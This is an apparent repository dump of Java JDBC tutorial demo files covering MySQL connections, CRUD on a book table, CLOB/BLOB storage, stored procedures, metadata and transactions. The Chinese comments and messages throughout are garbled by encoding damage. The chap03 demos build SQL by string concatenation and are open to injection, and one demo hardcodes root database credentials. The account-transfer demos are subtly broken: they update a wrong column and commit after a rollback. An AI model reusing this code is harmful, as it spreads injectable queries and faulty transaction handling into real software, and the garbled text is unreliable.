    "content": "package com.jun.plugin.jdbc.chap02.sec04;\n\nimport java.sql.Connection;\nimport java.sql.DriverManager;\nimport java.sql.SQLException;\n\npublic class Demo1 {\n\n\t// ���ݿ��ַ\n\tprivate static String dbUrl=\"jdbc:mysql://localhost:3306/db_book\";\n\t// �û���\n\tprivate static String dbUserName=\"root\";\n\t// ����\n\tprivate static String dbPassword=\"123456\";\n\t// ��������\n\tprivate static String jdbcName=\"com.mysql.jdbc.Driver\";\n\t\t\t\n\tpublic static void main(String[] args) {\n\t\ttry {\n\t\t\tClass.forName(jdbcName);\n\t\t\tSystem.out.println(\"���������ɹ���\");\n\t\t} catch (ClassNotFoundException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t\tSystem.out.println(\"��������ʧ�ܣ�\");\n\t\t}\n\t\tConnection con=null;\n\t\ttry {\n\t\t\t// ��ȡ���ݿ�����\n\t\t\tcon=DriverManager.getConnection(dbUrl, dbUserName, dbPassword);\n\t\t\tSystem.out.println(\"��ȡ���ݿ����ӳɹ���\");\n\t\t\tSystem.out.println(\"�������ݿ������\");\n\t\t} catch (SQLException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\ttry {\n\t\t\t\tcon.close();\n\t\t\t} catch (SQLException e) {\n\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/com/jun/plugin/jdbc/chap03/sec02/Demo1.java",
    "content": "package com.jun.plugin.jdbc.chap03.sec02;\n\nimport java.sql.Connection;\nimport java.sql.Statement;\n\nimport com.jun.plugin.jdbc.util.DbUtil;\n\npublic class Demo1 {\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tDbUtil dbUtil=new DbUtil();\n\t\tString sql=\"insert into t_book values(null,'javaţ��',888,'B��',1)\";\n\t\tConnection con=dbUtil.getCon(); //��ȡ��������\n\t\tStatement stmt=con.createStatement(); // ��ȡStatement\n\t\tint result=stmt.executeUpdate(sql);\n\t\tSystem.out.println(\"�����Ľ����\"+result+\"����\");\n\t\tstmt.close();  // �ر�statement\n\t\tcon.close();   // �ر�����\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/com/jun/plugin/jdbc/chap03/sec02/Demo2.java",
    "content": "package com.jun.plugin.jdbc.chap03.sec02;\n\nimport java.sql.Connection;\nimport java.sql.Statement;\n\nimport com.jun.plugin.jdbc.model.Book;\nimport com.jun.plugin.jdbc.util.DbUtil;\n\npublic class Demo2 {\n\n\tprivate static DbUtil dbUtil=new DbUtil();\n\t\n\t/**\n\t * ���ͼ��2\n\t * @param book\n\t * @return\n\t * @throws Exception\n\t */\n\tprivate static int addBook2(Book book)throws Exception{\n\t\tConnection con=dbUtil.getCon();  // ��ȡ����\n\t\tString sql=\"insert into t_book values(null,'\"+book.getBookName()+\"',\"+book.getPrice()+\",'\"+book.getAuthor()+\"',\"+book.getBookTypeId()+\")\";\n\t\tStatement stmt=con.createStatement(); // ����Statement\n\t\tint result=stmt.executeUpdate(sql);\n\t\tdbUtil.close(stmt, con);  // �ر�Statement������\n\t\treturn result;\n\t}\n\t\n\t/**\n\t * ���ͼ��\n\t * @param bookName\n\t * @param price\n\t * @param author\n\t * @param bookTypeId\n\t * @return\n\t * @throws Exception\n\t */\n\tprivate static int addBook(String bookName,float price,String author,int bookTypeId)throws Exception{\n\t\tConnection con=dbUtil.getCon();  // ��ȡ����\n\t\tString sql=\"insert into t_book values(null,'\"+bookName+\"',\"+price+\",'\"+author+\"',\"+bookTypeId+\")\";\n\t\tStatement stmt=con.createStatement(); // ����Statement\n\t\tint result=stmt.executeUpdate(sql);\n\t\tdbUtil.close(stmt, con);  // �ر�Statement������\n\t\treturn result;\n\t}\n\t\n\tpublic static void main(String[] args) throws Exception{\n\t\t/*int result=addBook(\"Javaţţ\", 121, \"ţ��\", 1);\n\t\tif(result==1){\n\t\t\tSystem.out.println(\"��ӳɹ���\");\n\t\t}else{\n\t\t\tSystem.out.println(\"���ʧ�ܣ�\");\n\t\t}*/   \n\t\t// ����ע��  ctrl+shift+/\n\t\tBook book=new Book(\"Javaţţ2\", 1212, \"ţ��2\", 2);\n\t\tint result=addBook2(book);\n\t\tif(result==1){\n\t\t\tSystem.out.println(\"��ӳɹ���\");\n\t\t}else{\n\t\t\tSystem.out.println(\"���ʧ�ܣ�\");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/com/jun/plugin/jdbc/chap03/sec03/Demo1.java",
    "content": "package com.jun.plugin.jdbc.chap03.sec03;\n\nimport java.sql.Connection;\nimport java.sql.Statement;\n\nimport com.jun.plugin.jdbc.model.Book;\nimport com.jun.plugin.jdbc.util.DbUtil;\n\npublic class Demo1 {\n\n\tprivate static DbUtil dbUtil = new DbUtil();\n\n\t/**\n\t * ����ͼ��\n\t * @param book\n\t * @return\n\t * @throws Exception\n\t */\n\tprivate static int updateBook(Book book) throws Exception {\n\t\tConnection con = dbUtil.getCon(); // ��ȡ����\n\t\tString sql = \"update t_book set bookName='\" + book.getBookName()\n\t\t\t\t+ \"',price=\" + book.getPrice() + \",author='\" + book.getAuthor()\n\t\t\t\t+ \"',bookTypeId=\" + book.getBookTypeId() + \" where id=\"\n\t\t\t\t+ book.getId();  // ctrl+a ȫѡ  ctrl+shift+F ��ʽ������\n\t\tStatement stmt = con.createStatement(); // ����Statement\n\t\tint result = stmt.executeUpdate(sql);\n\t\tdbUtil.close(stmt, con); // �ر�Statement������\n\t\treturn result;\n\t}\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tBook book=new Book(3,\"Javaţţ2222\", 121, \"ţ��222\", 1);\n\t\tint result=updateBook(book);\n\t\tif(result==1){\n\t\t\tSystem.out.println(\"���³ɹ���\");\n\t\t}else{\n\t\t\tSystem.out.println(\"���°ܣ�\");\n\t\t}\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/com/jun/plugin/jdbc/chap03/sec04/Demo1.java",
    "content": "package com.jun.plugin.jdbc.chap03.sec04;\n\nimport java.sql.Connection;\nimport java.sql.Statement;\n\nimport com.jun.plugin.jdbc.util.DbUtil;\n\npublic class Demo1 {\n\n\tprivate static DbUtil dbUtil=new DbUtil();\n\t\n\t/**\n\t * ɾ��ͼ��\n\t * @param id\n\t * @return\n\t * @throws Exception\n\t */\n\tprivate static int deleteBook(int id)throws Exception{\n\t\tConnection con = dbUtil.getCon(); // ��ȡ����\n\t\tString sql =\"delete from t_book where id=\"+id;\n\t\tStatement stmt = con.createStatement(); // ����Statement\n\t\tint result = stmt.executeUpdate(sql);\n\t\tdbUtil.close(stmt, con); // �ر�Statement������\n\t\treturn result;\n\t}\n\t\n\tpublic static void main(String[] args) throws Exception{\n\t\tint result=deleteBook(3);\n\t\tif(result==1){\n\t\t\tSystem.out.println(\"ɾ���ɹ���\");\n\t\t}else{\n\t\t\tSystem.out.println(\"ɾ��ʧ�ܣ�\");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/com/jun/plugin/jdbc/chap04/sec02/Demo1.java",
    "content": "package com.jun.plugin.jdbc.chap04.sec02;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\n\nimport com.jun.plugin.jdbc.model.Book;\nimport com.jun.plugin.jdbc.util.DbUtil;\n\npublic class Demo1 {\n\n\tprivate static DbUtil dbUtil=new DbUtil();\n\t\n\t/**\n\t * ���ͼ��\n\t * @param book\n\t * @return\n\t * @throws Exception\n\t */\n\tprivate static int addBook(Book book)throws Exception{\n\t\tConnection con=dbUtil.getCon(); // ��ȡ����\n\t\tString sql=\"insert into t_book values(null,?,?,?,?)\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setString(1, book.getBookName());  // ����һ��������ֵ\n\t\tpstmt.setFloat(2, book.getPrice());  // ���ڶ���������ֵ\n\t\tpstmt.setString(3, book.getAuthor()); // ��������������ֵ\n\t\tpstmt.setInt(4, book.getBookTypeId());  // �����ĸ�������ֵ\n\t\tint result=pstmt.executeUpdate();\n\t\tdbUtil.close(pstmt, con);\n\t\treturn result;\n\t}\n\t\n\tpublic static void main(String[] args) throws Exception{\n\t\tBook book=new Book(\"Java���2\", 1, \"���\", 1);\n\t\tint result=addBook(book);\n\t\tif(result==1){\n\t\t\tSystem.out.println(\"��ӳɹ���\");\n\t\t}else{\n\t\t\tSystem.out.println(\"���ʧ�ܣ�\");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/com/jun/plugin/jdbc/chap04/sec03/Demo1.java",
    "content": "package com.jun.plugin.jdbc.chap04.sec03;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\n\nimport com.jun.plugin.jdbc.model.Book;\nimport com.jun.plugin.jdbc.util.DbUtil;\n\npublic class Demo1 {\n\n\tprivate static DbUtil dbUtil=new DbUtil();\n\t\n\t/**\n\t * ����ͼ��\n\t * @param book\n\t * @return\n\t * @throws Exception\n\t */\n\tprivate static int updateBook(Book book)throws Exception{\n\t\tConnection con=dbUtil.getCon();\n\t\tString sql=\"update t_book set bookName=?,price=?,author=?,bookTypeId=? where id=?\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setString(1, book.getBookName());\n\t\tpstmt.setFloat(2, book.getPrice());\n\t\tpstmt.setString(3, book.getAuthor());\n\t\tpstmt.setInt(4, book.getBookTypeId());\n\t\tpstmt.setInt(5, book.getId());\n\t\tint result=pstmt.executeUpdate();\n\t\tdbUtil.close(pstmt, con);\n\t\treturn result;\n\t}\n\t\n\tpublic static void main(String[] args) throws Exception{\n\t\tBook book=new Book(12,\"K2\", 2, \"K\", 2);\n\t\tint result=updateBook(book);\n\t\tif(result==1){\n\t\t\tSystem.out.println(\"���³ɹ���\");\n\t\t}else{\n\t\t\tSystem.out.println(\"����ʧ�ܣ�\");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/com/jun/plugin/jdbc/chap04/sec04/Demo1.java",
    "content": "package com.jun.plugin.jdbc.chap04.sec04;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\n\nimport com.jun.plugin.jdbc.util.DbUtil;\n\npublic class Demo1 {\n\n\tprivate static DbUtil dbUtil=new DbUtil();\n\t\n\t/**\n\t * ɾ��ͼ��\n\t * @param id\n\t * @return\n\t * @throws Exception\n\t */\n\tprivate static int deleteBook(int id)throws Exception{\n\t\tConnection con=dbUtil.getCon();\n\t\tString sql=\"delete from t_book where id=?\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setInt(1, id);\n\t\tint result=pstmt.executeUpdate();\n\t\tdbUtil.close(pstmt, con);\n\t\treturn result;\n\t}\n\t\n\tpublic static void main(String[] args)throws Exception {\n\t\tint result=deleteBook(12);\n\t\tif(result==1){\n\t\t\tSystem.out.println(\"ɾ���ɹ���\");\n\t\t}else{\n\t\t\tSystem.out.println(\"ɾ��ʧ�ܣ�\");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/com/jun/plugin/jdbc/chap05/sec02/Demo1.java",
    "content": "package com.jun.plugin.jdbc.chap05.sec02;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport com.jun.plugin.jdbc.model.Book;\nimport com.jun.plugin.jdbc.util.DbUtil;\n\npublic class Demo1 {\n\n\tprivate static DbUtil dbUtil = new DbUtil();\n\n\t/**\n\t * ������ѯ���\n\t * @throws Exception\n\t */\n\tprivate static void listBook() throws Exception {\n\t\tConnection con = dbUtil.getCon(); // ��ȡ����\n\t\tString sql = \"select * from t_book\";\n\t\tPreparedStatement pstmt = con.prepareStatement(sql);\n\t\tResultSet rs = pstmt.executeQuery(); // ���ؽ����ResultSet\n\t\twhile (rs.next()) {\n\t\t\tint id = rs.getInt(1); // ��ȡ��һ���е�ֵ ���id\n\t\t\tString bookName = rs.getString(2); // ��ȡ�ڶ����е�ֵ ͼ������ bookName\n\t\t\tfloat price = rs.getFloat(3); // ��ȡ�����е�ֵ ͼ��۸� price\n\t\t\tString author = rs.getString(4); // ��ȡ�����е�ֵ ͼ������ author\n\t\t\tint bookTypeId = rs.getInt(5); // ��ȡ�����е�ֵ ͼ�����id\n\t\t\tSystem.out.println(\"ͼ���ţ�\" + id + \" ͼ�����ƣ�\" + bookName + \" ͼ��۸�\"\n\t\t\t\t\t+ price + \" ͼ�����ߣ�\" + author + \" ͼ�����id��\" + bookTypeId);\n\t\t\tSystem.out\n\t\t\t\t\t.println(\"=======================================================================\");\n\n\t\t}\n\t}\n\t\n\t/**\n\t * ������ѯ���\n\t * @throws Exception\n\t */\n\tprivate static void listBook2() throws Exception {\n\t\tConnection con = dbUtil.getCon(); // ��ȡ����\n\t\tString sql = \"select * from t_book\";\n\t\tPreparedStatement pstmt = con.prepareStatement(sql);\n\t\tResultSet rs = pstmt.executeQuery(); // ���ؽ����ResultSet\n\t\twhile (rs.next()) {\n\t\t\tint id = rs.getInt(\"id\"); // ��ȡ��һ���е�ֵ ���id\n\t\t\tString bookName = rs.getString(\"bookName\"); // ��ȡ�ڶ����е�ֵ ͼ������ bookName\n\t\t\tfloat price = rs.getFloat(\"price\"); // ��ȡ�����е�ֵ ͼ��۸� price\n\t\t\tString author = rs.getString(\"author\"); // ��ȡ�����е�ֵ ͼ������ author\n\t\t\tint bookTypeId = rs.getInt(\"bookTypeId\"); // ��ȡ�����е�ֵ ͼ�����id\n\t\t\tSystem.out.println(\"ͼ���ţ�\" + id + \" ͼ�����ƣ�\" + bookName + \" ͼ��۸�\"\n\t\t\t\t\t+ price + \" ͼ�����ߣ�\" + author + \" ͼ�����id��\" + bookTypeId);\n\t\t\tSystem.out\n\t\t\t\t\t.println(\"=======================================================================\");\n\n\t\t}\n\t}\n\t\n\tprivate static List<Book> listBook3()throws Exception{\n\t\tList<Book> bookList=new ArrayList<Book>(); \n\t\tConnection con = dbUtil.getCon(); // ��ȡ����\n\t\tString sql = \"select * from t_book\";\n\t\tPreparedStatement pstmt = con.prepareStatement(sql);\n\t\tResultSet rs = pstmt.executeQuery(); // ���ؽ����ResultSet\n\t\twhile (rs.next()) {\n\t\t\tint id = rs.getInt(\"id\"); // ��ȡ��һ���е�ֵ ���id\n\t\t\tString bookName = rs.getString(\"bookName\"); // ��ȡ�ڶ����е�ֵ ͼ������ bookName\n\t\t\tfloat price = rs.getFloat(\"price\"); // ��ȡ�����е�ֵ ͼ��۸� price\n\t\t\tString author = rs.getString(\"author\"); // ��ȡ�����е�ֵ ͼ������ author\n\t\t\tint bookTypeId = rs.getInt(\"bookTypeId\"); // ��ȡ�����е�ֵ ͼ�����id\n\t\t\tBook book=new Book(id, bookName, price, author, bookTypeId);\n\t\t\tbookList.add(book);\n\t\t}\n\t\treturn bookList;\n\t}\n\n\tpublic static void main(String[] args) throws Exception {\n\t\t// listBook();\n\t\t// listBook2();\n\t\tList<Book> bookList=listBook3();\n\t\tfor (Book book : bookList) {\n\t\t\tSystem.out.println(book);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/com/jun/plugin/jdbc/chap06/sec01/Demo1.java",
    "content": "package com.jun.plugin.jdbc.chap06.sec01;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.InputStream;\nimport java.sql.Clob;\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\n\nimport com.jun.plugin.jdbc.model.Book;\nimport com.jun.plugin.jdbc.util.DbUtil;\n\npublic class Demo1 {\n\nprivate static DbUtil dbUtil=new DbUtil();\n\t\n\t/**\n\t * ���ͼ��\n\t * @param book\n\t * @return\n\t * @throws Exception\n\t */\n\tprivate static int addBook(Book book)throws Exception{\n\t\tConnection con=dbUtil.getCon(); // ��ȡ����\n\t\tString sql=\"insert into t_book values(null,?,?,?,?,?)\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setString(1, book.getBookName());  // ����һ��������ֵ\n\t\tpstmt.setFloat(2, book.getPrice());  // ���ڶ���������ֵ\n\t\tpstmt.setString(3, book.getAuthor()); // ��������������ֵ\n\t\tpstmt.setInt(4, book.getBookTypeId());  // �����ĸ�������ֵ\n\t\tFile context=book.getContext(); // ��ȡ�ļ�\n\t\tInputStream inputStream=new FileInputStream(context);\n\t\tpstmt.setAsciiStream(5, inputStream,context.length());  // �������������ֵ\n\t\tint result=pstmt.executeUpdate();\n\t\tdbUtil.close(pstmt, con);\n\t\treturn result;\n\t}\n\t\n\tpublic static void getBook(int id)throws Exception{\n\t\tConnection con=dbUtil.getCon();\n\t\tString sql=\"select * from t_book where id=?\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setInt(1, id);\n\t\tResultSet rs=pstmt.executeQuery();\n\t\tif(rs.next()){\n\t\t\tString bookName=rs.getString(\"bookName\");\n\t\t\tfloat price=rs.getFloat(\"price\");\n\t\t\tString author=rs.getString(\"author\");\n\t\t\tint bookTypeId=rs.getInt(\"bookTypeId\");\n\t\t\tClob c=rs.getClob(\"context\");\n\t\t\tString context=c.getSubString(1, (int)c.length());\n\t\t\tSystem.out.println(\"ͼ�����ƣ�\"+bookName);\n\t\t\tSystem.out.println(\"ͼ��۸�:\"+price);\n\t\t\tSystem.out.println(\"ͼ�����ߣ�\"+author);\n\t\t\tSystem.out.println(\"ͼ������ID��\"+bookTypeId);\n\t\t\tSystem.out.println(\"ͼ�����ݣ�\"+context);\n\t\t}\n\t\tdbUtil.close(pstmt, con);\n\t}\n\t\n\tpublic static void main(String[] args)throws Exception {\n\t\t/*File context=new File(\"c:/helloWorld.txt\");\n\t\tBook book=new Book(\"helloWorld\", 100, \"С��\", 1,context);\n\t\tint result=addBook(book);\n\t\tif(result==1){\n\t\t\tSystem.out.println(\"��ӳɹ���\");\n\t\t}else{\n\t\t\tSystem.out.println(\"���ʧ�ܣ�\");\n\t\t}*/\n\t\tgetBook(16);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/com/jun/plugin/jdbc/chap06/sec02/Demo1.java",
    "content": "package com.jun.plugin.jdbc.chap06.sec02;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.InputStream;\nimport java.sql.Blob;\nimport java.sql.Clob;\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\n\nimport com.jun.plugin.jdbc.model.Book;\nimport com.jun.plugin.jdbc.util.DbUtil;\n\npublic class Demo1 {\n\nprivate static DbUtil dbUtil=new DbUtil();\n\t\n\t/**\n\t * ���ͼ��\n\t * @param book\n\t * @return\n\t * @throws Exception\n\t */\n\tprivate static int addBook(Book book)throws Exception{\n\t\tConnection con=dbUtil.getCon(); // ��ȡ����\n\t\tString sql=\"insert into t_book values(null,?,?,?,?,?,?)\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setString(1, book.getBookName());  // ����һ��������ֵ\n\t\tpstmt.setFloat(2, book.getPrice());  // ���ڶ���������ֵ\n\t\tpstmt.setString(3, book.getAuthor()); // ��������������ֵ\n\t\tpstmt.setInt(4, book.getBookTypeId());  // �����ĸ�������ֵ\n\t\tFile context=book.getContext(); // ��ȡ�ļ�\n\t\tInputStream inputStream=new FileInputStream(context);\n\t\tpstmt.setAsciiStream(5, inputStream,context.length());  // �������������ֵ\n\t\t\n\t\tFile pic=book.getPic(); // ��ȡͼƬ�ļ�\n\t\tInputStream inputStream2=new FileInputStream(pic);\n\t\tpstmt.setBinaryStream(6, inputStream2, pic.length()); // ��������������ֵ\n\t\tint result=pstmt.executeUpdate();\n\t\tdbUtil.close(pstmt, con);\n\t\treturn result;\n\t}\n\t\n\tpublic static void getBook(int id)throws Exception{\n\t\tConnection con=dbUtil.getCon();\n\t\tString sql=\"select * from t_book where id=?\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setInt(1, id);\n\t\tResultSet rs=pstmt.executeQuery();\n\t\tif(rs.next()){\n\t\t\tString bookName=rs.getString(\"bookName\");\n\t\t\tfloat price=rs.getFloat(\"price\");\n\t\t\tString author=rs.getString(\"author\");\n\t\t\tint bookTypeId=rs.getInt(\"bookTypeId\");\n\t\t\tClob c=rs.getClob(\"context\");\n\t\t\tString context=c.getSubString(1, (int)c.length());\n\t\t\tBlob b=rs.getBlob(\"pic\");\n\t\t\tFileOutputStream out=new FileOutputStream(new File(\"d:/pic2.jpg\"));\n\t\t\tout.write(b.getBytes(1, (int)b.length()));\n\t\t\tout.close();\n\t\t\tSystem.out.println(\"ͼ�����ƣ�\"+bookName);\n\t\t\tSystem.out.println(\"ͼ��۸�:\"+price);\n\t\t\tSystem.out.println(\"ͼ�����ߣ�\"+author);\n\t\t\tSystem.out.println(\"ͼ������ID��\"+bookTypeId);\n\t\t\tSystem.out.println(\"ͼ�����ݣ�\"+context);\n\t\t}\n\t\tdbUtil.close(pstmt, con);\n\t}\n\t\n\tpublic static void main(String[] args)throws Exception {\n\t\t/*File context=new File(\"c:/helloWorld.txt\");\n\t\tFile pic=new File(\"c:/pic1.jpg\");\n\t\tBook book=new Book(\"helloWorld\", 100, \"С��\", 1,context,pic);\n\t\tint result=addBook(book);\n\t\tif(result==1){\n\t\t\tSystem.out.println(\"��ӳɹ���\");\n\t\t}else{\n\t\t\tSystem.out.println(\"���ʧ�ܣ�\");\n\t\t}*/\n\t    getBook(18);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/com/jun/plugin/jdbc/chap07/sec02/Demo1.java",
    "content": "package com.jun.plugin.jdbc.chap07.sec02;\n\nimport java.sql.CallableStatement;\nimport java.sql.Connection;\nimport java.sql.Types;\n\nimport com.jun.plugin.jdbc.util.DbUtil;\n\npublic class Demo1 {\n\n\tprivate static DbUtil dbUtil=new DbUtil();\n\t\n\t/**\n\t * ���ô洢���̣�ͨ��id��ѯbookName\n\t * @param id\n\t * @return\n\t * @throws Exception\n\t */\n\tprivate static String getBookNameById(int id)throws Exception{\n\t\tConnection con=dbUtil.getCon();  // ��ȡ���ݿ�����\n\t\tString sql=\"{CALL pro_getBookNameById(?,?)}\";\n\t\tCallableStatement cstmt=con.prepareCall(sql);\n\t\tcstmt.setInt(1, id); // ���õ�һ������\n\t\tcstmt.registerOutParameter(2, Types.VARCHAR);  // ���÷�������\n\t\tcstmt.execute();\n\t\tString bookName=cstmt.getString(\"bN\");  // ��ȡ����ֵ\n\t\tdbUtil.close(cstmt, con);\n\t\treturn bookName;\n\t}\n\t\n\tpublic static void main(String[] args) throws Exception{\n\t\tSystem.out.println(\"ͼ�������ǣ�\"+getBookNameById(11));\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/com/jun/plugin/jdbc/chap08/sec01/Demo1.java",
    "content": "package com.jun.plugin.jdbc.chap08.sec01;\n\nimport java.sql.Connection;\nimport java.sql.DatabaseMetaData;\n\nimport com.jun.plugin.jdbc.util.DbUtil;\n\npublic class Demo1 {\n\n\tpublic static void main(String[] args)throws Exception {\n\t\tDbUtil dbUtil=new DbUtil();\n\t\tConnection con=dbUtil.getCon();\n\t\tDatabaseMetaData dmd=con.getMetaData(); // ��ȡԪ����\n\t\tSystem.out.println(\"���ݿ����ƣ�\"+dmd.getDatabaseProductName());\n\t\tSystem.out.println(\"���ݿ�汾��\"+dmd.getDriverMajorVersion()+\".\"+dmd.getDriverMinorVersion());\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/com/jun/plugin/jdbc/chap08/sec02/Demo2.java",
    "content": "package com.jun.plugin.jdbc.chap08.sec02;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSetMetaData;\n\nimport com.jun.plugin.jdbc.util.DbUtil;\n\npublic class Demo2 {\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tDbUtil dbUtil=new DbUtil();\n\t\tConnection con=dbUtil.getCon();\n\t\tString sql=\"select * from t_book\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tResultSetMetaData rsmd=pstmt.getMetaData();\n\t\tint num=rsmd.getColumnCount(); // ��ȡԪ�����е�����\n\t\tSystem.out.println(\"����\"+num+\"��\");\n\t\tfor(int i=1;i<=num;i++){\n\t\t\tSystem.out.println(rsmd.getColumnName(i)+\",\"+rsmd.getColumnTypeName(i));\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/com/jun/plugin/jdbc/chap09/sec03/Demo1.java",
    "content": "package com.jun.plugin.jdbc.chap09.sec03;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.SQLException;\n\nimport com.jun.plugin.jdbc.util.DbUtil;\n\npublic class Demo1 {\n\t\n\tprivate static DbUtil dbUtil=new DbUtil();\n\n\t/**\n\t * ת��\n\t * @param con\n\t * @param accountName\n\t * @param account\n\t * @throws Exception\n\t */\n\tprivate static void outCount(Connection con,String accountName,int account)throws Exception{\n\t\tString sql=\"update t_account set accountBalance=accountBalance-? where accountName=?\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setInt(1, account);\n\t\tpstmt.setString(2, accountName);\n\t\tpstmt.executeUpdate();\n\t}\n\t\n\t/**\n\t * ת��\n\t * @param con\n\t * @param accountName\n\t * @param account\n\t * @throws Exception\n\t */\n\tprivate static void inCount(Connection con,String accountName,int account)throws Exception{\n\t\tString sql=\"update t_account set account=accountBalance+? where accountName=?\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setInt(1, account);\n\t\tpstmt.setString(2, accountName);\n\t\tpstmt.executeUpdate();\n\t}\n\t\n\t\n\tpublic static void main(String[] args) {\n\t\tConnection con=null;\n\t\ttry {\n\t\t\tcon=dbUtil.getCon(); \n\t\t\tcon.setAutoCommit(false); // ȡ���Զ��ύ\n\t\t\tSystem.out.println(\"������ʼ������ת�ˣ�\");\n\t\t\tint account=500;\n\t\t\toutCount(con, \"����\", account);\n\t\t\tinCount(con, \"����\", account);\n\t\t\tSystem.out.println(\"ת�˳ɹ���\");\n\t\t} catch (Exception e) {\n\t\t\ttry {\n\t\t\t\tcon.rollback(); // �ع�\n\t\t\t} catch (SQLException e1) {\n\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\te1.printStackTrace();\n\t\t\t}\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\ttry {\n\t\t\t\tcon.commit();  // �ύ����\n\t\t\t\tcon.close();\n\t\t\t} catch (SQLException e) {\n\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/com/jun/plugin/jdbc/chap09/sec04/Demo1.java",
    "content": "package com.jun.plugin.jdbc.chap09.sec04;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.SQLException;\nimport java.sql.Savepoint;\n\nimport com.jun.plugin.jdbc.util.DbUtil;\n\npublic class Demo1 {\n\t\n\tprivate static DbUtil dbUtil=new DbUtil();\n\n\t/**\n\t * ת��\n\t * @param con\n\t * @param accountName\n\t * @param account\n\t * @throws Exception\n\t */\n\tprivate static void outCount(Connection con,String accountName,int account)throws Exception{\n\t\tString sql=\"update t_account set accountBalance=accountBalance-? where accountName=?\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setInt(1, account);\n\t\tpstmt.setString(2, accountName);\n\t\tpstmt.executeUpdate();\n\t}\n\t\n\t/**\n\t * ת��\n\t * @param con\n\t * @param accountName\n\t * @param account\n\t * @throws Exception\n\t */\n\tprivate static void inCount(Connection con,String accountName,int account)throws Exception{\n\t\tString sql=\"update t_account set account=accountBalance+? where accountName=?\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setInt(1, account);\n\t\tpstmt.setString(2, accountName);\n\t\tpstmt.executeUpdate();\n\t}\n\t\n\t\n\tpublic static void main(String[] args) {\n\t\tConnection con=null;\n\t\tSavepoint sp=null;\n\t\ttry {\n\t\t\tcon=dbUtil.getCon(); \n\t\t\tcon.setAutoCommit(false); // ȡ���Զ��ύ\n\t\t\tSystem.out.println(\"������ʼ������ת�ˣ�\");\n\t\t\tint account=500;\n\t\t\toutCount(con, \"����\", account);\n\t\t\tsp=con.setSavepoint(); // ����һ�������\n\t\t\tinCount(con, \"����\", account);\n\t\t\tSystem.out.println(\"ת�˳ɹ���\");\n\t\t} catch (Exception e) {\n\t\t\ttry {\n\t\t\t\tcon.rollback(sp); // �ع���sp�����\n\t\t\t} catch (SQLException e1) {\n\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\te1.printStackTrace();\n\t\t\t}\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\ttry {\n\t\t\t\tcon.commit();  // �ύ����\n\t\t\t\tcon.close();\n\t\t\t} catch (SQLException e) {\n\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
